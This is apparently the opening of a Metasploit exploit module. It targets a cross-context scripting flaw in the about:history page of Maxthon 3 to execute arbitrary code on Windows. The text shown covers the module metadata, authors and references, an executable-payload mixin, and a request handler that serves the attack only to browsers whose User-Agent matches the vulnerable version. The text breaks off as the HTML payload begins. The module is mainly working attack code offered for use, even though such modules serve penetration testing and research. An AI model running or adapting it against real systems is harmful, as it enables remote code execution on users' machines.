## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution', 'Description' => %q{ Cross Context Scripting (XCS) is possible in the Maxthon about:history page. Injection in such privileged/trusted browser zone can be used to modify configuration settings and execute arbitrary commands. Please note this module only works against specific versions of XCS. Currently, we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000. }, 'License' => MSF_LICENSE, 'Author' => [ 'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module 'sinn3r', # msf module 'juan vazquez' # msf module ], 'References' => [ ['OSVDB', '88191'], ['EDB', '23225'], ['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ ['Maxthon 3 (prior to 3.3) on Windows', {} ] ], 'DisclosureDate' => 'Nov 26 2012', 'DefaultTarget' => 0 )) end def on_request_uri(cli, request) if request.headers['User-Agent'] !~ /Maxthon\/3/ or request.headers['User-Agent'] !~ /AppleWebKit\/534.12/ print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}") send_not_found(cli) return end html_hdr = %Q|